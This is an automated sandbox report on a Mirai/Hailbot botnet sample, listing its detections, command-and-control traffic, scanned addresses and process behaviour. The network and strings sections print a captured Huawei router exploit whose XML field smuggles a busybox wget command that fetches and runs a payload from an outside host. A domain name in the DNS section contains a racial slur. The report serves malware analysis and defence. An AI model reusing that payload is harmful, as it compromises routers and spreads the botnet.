Edit tour

Linux Analysis Report
garm5.elf

Overview

General Information

Sample name:	garm5.elf
Analysis ID:	1540977
MD5:	af9b72ebf226219b1516edee3c4c2efb
SHA1:	cd7a127f753fa25f74c289845906f81321252972
SHA256:	77736a3eac006b421ac5f4481ce365b05a6d70853959842cabfb242c43c116a2
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540977
Start date and time:	2024-10-24 11:04:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	garm5.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/1025@71/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: garm5.elf

Runtime Messages

Command:	/tmp/garm5.elf
PID:	6218
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

garm5.elf (PID: 6218, Parent: 6125, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/garm5.elf

garm5.elf New Fork (PID: 6220, Parent: 6218)

garm5.elf New Fork (PID: 6221, Parent: 6218)

garm5.elf New Fork (PID: 6224, Parent: 6221)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
garm5.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
garm5.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6218.1.00007fb138017000.00007fb138026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6218.1.00007fb138017000.00007fb138026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: garm5.elf PID: 6218	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

ET MALWARE Hailbot CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:04:49.946778+0200	2050066	1	A Network Trojan was detected	192.168.2.23	55956	178.128.99.13	10623	TCP
2024-10-24T11:04:59.988843+0200	2050066	1	A Network Trojan was detected	192.168.2.23	57480	139.59.247.93	22714	TCP
2024-10-24T11:05:06.536858+0200	2050066	1	A Network Trojan was detected	192.168.2.23	49714	45.87.43.193	24483	TCP
2024-10-24T11:05:11.565421+0200	2050066	1	A Network Trojan was detected	192.168.2.23	46182	139.59.59.19	14337	TCP

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 469Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:55956 -> 178.128.99.13:10623
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:57480 -> 139.59.247.93:22714
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:49714 -> 45.87.43.193:24483
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:46182 -> 139.59.59.19:14337

Source: global traffic	DNS traffic detected: malformed DNS query: howyoudoinbby.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: therealniggas.parody. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: swimminginboats.geek. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 41.156.55.176
Source: unknown	TCP traffic detected without corresponding DNS query: 41.51.248.180
Source: unknown	TCP traffic detected without corresponding DNS query: 41.236.192.183
Source: unknown	TCP traffic detected without corresponding DNS query: 197.243.34.89
Source: unknown	TCP traffic detected without corresponding DNS query: 197.126.234.165
Source: unknown	TCP traffic detected without corresponding DNS query: 197.129.197.76
Source: unknown	TCP traffic detected without corresponding DNS query: 41.76.130.6
Source: unknown	TCP traffic detected without corresponding DNS query: 41.169.66.16
Source: unknown	TCP traffic detected without corresponding DNS query: 197.247.199.41
Source: unknown	TCP traffic detected without corresponding DNS query: 156.56.12.139
Source: unknown	TCP traffic detected without corresponding DNS query: 41.236.108.10
Source: unknown	TCP traffic detected without corresponding DNS query: 41.183.219.137
Source: unknown	TCP traffic detected without corresponding DNS query: 41.127.212.155
Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.191.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.156.204.31
Source: unknown	TCP traffic detected without corresponding DNS query: 197.204.97.251
Source: unknown	TCP traffic detected without corresponding DNS query: 41.27.42.237
Source: unknown	TCP traffic detected without corresponding DNS query: 197.250.28.202
Source: unknown	TCP traffic detected without corresponding DNS query: 41.253.108.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.208.253
Source: unknown	TCP traffic detected without corresponding DNS query: 156.253.16.48
Source: unknown	TCP traffic detected without corresponding DNS query: 156.111.198.10
Source: unknown	TCP traffic detected without corresponding DNS query: 156.172.200.70
Source: unknown	TCP traffic detected without corresponding DNS query: 41.129.97.71
Source: unknown	TCP traffic detected without corresponding DNS query: 41.145.253.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.126.12.228
Source: unknown	TCP traffic detected without corresponding DNS query: 156.220.243.171
Source: unknown	TCP traffic detected without corresponding DNS query: 41.250.223.22
Source: unknown	TCP traffic detected without corresponding DNS query: 156.123.220.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.203.199.254
Source: unknown	TCP traffic detected without corresponding DNS query: 41.138.237.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.46.39.21
Source: unknown	TCP traffic detected without corresponding DNS query: 41.28.109.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.163.252.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.91.193.174
Source: unknown	TCP traffic detected without corresponding DNS query: 156.83.125.172
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.132.215
Source: unknown	TCP traffic detected without corresponding DNS query: 41.144.20.2
Source: unknown	TCP traffic detected without corresponding DNS query: 156.60.0.87
Source: unknown	TCP traffic detected without corresponding DNS query: 41.213.161.26
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.176.24
Source: unknown	TCP traffic detected without corresponding DNS query: 156.119.21.199
Source: unknown	TCP traffic detected without corresponding DNS query: 156.180.236.40
Source: unknown	TCP traffic detected without corresponding DNS query: 156.165.125.202
Source: unknown	TCP traffic detected without corresponding DNS query: 41.83.131.87
Source: unknown	TCP traffic detected without corresponding DNS query: 41.87.108.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.126.217.14
Source: unknown	TCP traffic detected without corresponding DNS query: 156.228.215.44
Source: unknown	TCP traffic detected without corresponding DNS query: 156.56.63.23
Source: unknown	TCP traffic detected without corresponding DNS query: 156.64.72.21

Source: global traffic	DNS traffic detected: DNS query: magicalmalware.pirate
Source: global traffic	DNS traffic detected: DNS query: howyoudoinbby.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: therealniggas.parody. [malformed]
Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek. [malformed]

Source: garm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: garm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/6226/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/garm5.elf (PID: 6220)	File opened: /proc/141/cmdline	Jump to behavior

Source: garm5.elf, 6218.1.0000561f0194b000.0000561f01a9f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: garm5.elf, 6218.1.0000561f0194b000.0000561f01a9f000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: garm5.elf, 6218.1.00007ffee199a000.00007ffee19bb000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: garm5.elf, 6218.1.00007ffee199a000.00007ffee19bb000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/garm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/garm5.elf

Source: Yara match	File source: garm5.elf, type: SAMPLE
Source: Yara match	File source: 6218.1.00007fb138017000.00007fb138026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: garm5.elf PID: 6218, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
garm5.elf	58%	ReversingLabs	Linux.Trojan.Mirai
garm5.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Name	IP	Active	Malicious	Reputation
magicalmalware.pirate	139.59.247.93	true	true	unknown
howyoudoinbby.dyn. [malformed]	unknown	unknown	true	unknown
swimminginboats.geek. [malformed]	unknown	unknown	true	unknown
therealniggas.parody. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
41.108.83.83	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.149.138.204	unknown	South Africa	5713	SAIX-NETZA	false
41.169.49.26	unknown	South Africa	36937	Neotel-ASZA	false
41.206.191.231	unknown	South Africa	6453	AS6453US	false
41.253.208.31	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
197.223.62.13	unknown	Egypt	37069	MOBINILEG	false
41.122.47.176	unknown	South Africa	16637	MTNNS-ASZA	false
197.173.155.0	unknown	South Africa	37168	CELL-CZA	false
197.51.4.208	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.108.48.188	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.97.63.118	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.46.154.37	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.92.196.109	unknown	Cameroon	15964	CAMNET-ASCM	false
197.54.181.216	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.115.248.24	unknown	South Africa	16637	MTNNS-ASZA	false
197.226.82.203	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.246.150.150	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
41.78.123.29	unknown	Central African Republic	22351	INTELSAT-1US	false
156.221.58.4	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.215.116.87	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.149.112.239	unknown	Nigeria	35074	COBRANET-ASLB	false
156.247.76.110	unknown	Seychelles	54600	PEGTECHINCUS	false
41.226.143.55	unknown	Tunisia	37705	TOPNETTN	false
41.22.25.199	unknown	South Africa	29975	VODACOM-ZA	false
156.220.29.250	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.43.93.25	unknown	United Kingdom	3549	LVLT-3549US	false
156.76.113.200	unknown	United States	6341	WIECUS	false
197.132.31.222	unknown	Egypt	24835	RAYA-ASEG	false
197.23.213.117	unknown	Tunisia	37693	TUNISIANATN	false
197.89.97.34	unknown	South Africa	10474	OPTINETZA	false
156.0.172.130	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
197.177.87.175	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.177.87.177	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.31.187.184	unknown	Tunisia	37492	ORANGE-TN	false
156.2.12.219	unknown	United States	29975	VODACOM-ZA	false
197.65.82.87	unknown	South Africa	16637	MTNNS-ASZA	false
41.37.180.58	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.125.137.20	unknown	United States	393504	XNSTGCA	false
41.237.9.28	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.240.131.157	unknown	unknown	37705	TOPNETTN	false
197.202.110.207	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.20.120.36	unknown	United States	29975	VODACOM-ZA	false
156.99.130.96	unknown	United States	1998	STATE-OF-MNUS	false
197.217.101.185	unknown	Angola	11259	ANGOLATELECOMAO	false
197.40.144.185	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.177.182.55	unknown	Egypt	36992	ETISALAT-MISREG	false
41.37.208.151	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.110.22.159	unknown	United States	5078	ONENET-AS-1US	false
197.76.64.245	unknown	South Africa	16637	MTNNS-ASZA	false
156.5.232.40	unknown	United States	29975	VODACOM-ZA	false
